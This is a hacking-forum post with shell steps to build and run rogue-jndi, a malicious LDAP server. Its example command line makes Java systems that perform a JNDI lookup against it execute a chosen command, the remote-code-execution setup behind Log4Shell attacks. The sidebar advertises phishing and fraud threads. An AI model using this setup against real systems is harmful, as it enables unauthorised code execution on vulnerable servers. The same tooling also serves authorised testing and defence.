How to Install Rogue-jndi on Kali Linux
by gymertips - Sunday April 14, 2024 at 01:42 PM
#1
Steps to install Rogue-jndi on Kali Linux:

1. **Install Maven**: If Maven is not already installed, you can install it using the following commands:
  ```
  sudo apt-get update
  sudo apt-get install maven
  ```
  You'll need to press 'y' to confirm the installation.

2. **Clone the rogue-jndi repository**: Navigate to the Desktop and clone the rogue-jndi repository from GitHub:
  ```
  cd Desktop
  git clone https://github.com/veracode-research/rogue-jndi.git
  cd rogue-jndi
  ```

3. **Build the rogue-jndi project**: Inside the `rogue-jndi` folder, run the following command to build the project:
  ```
  mvn package
  ```
  This command will create a `target` folder containing the JAR file (`RogueJndi-1.1.jar`) needed for execution.

4. **Run rogue-jndi**: You can run rogue-jndi and see usage instructions using the following command:
  ```
  java -jar target/RogueJndi-1.1.jar -h
  ```

5. **Start the vulnerable LDAP server**: To start the LDAP server with specific parameters (such as the command to execute and the hostname), use a command similar to the following:
  ```
  java -jar target/RogueJndi-1.1.jar --command "touch /tmp/test.txt" --hostname "172.16.5.2"
  ```
  This command starts the LDAP server and specifies a command to create a text file on the system when an LDAP query is received.

Following these steps should set up and run the rogue-jndi tool on your system. Let me know if you need further assistance!
Reply
#2
nice are you on tg?thanks m8 this is gr8
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  HOW TO GET ANYONES INFORMATION NotInfinity 702 20,568 1 hour ago
Last Post: MiningTeamF
Star How to actually make 1k$+ per day online with memecoins [Legit best way money online] Trenchman 0 39 1 hour ago
Last Post: Trenchman
  Google Dorking - Advanced Guide pokerface 743 40,044 1 hour ago
Last Post: MiningTeamF
  OPEN UK BANK ACCOUNTS AND PHISH BUSINESS EMAILS 1926 301 14,777 3 hours ago
Last Post: unconcided
  Free iptv sources autoupdated CrimsonLust 260 8,263 3 hours ago
Last Post: vps24ZE3212

Forum Jump:


 Users browsing this forum: 1 Guest(s)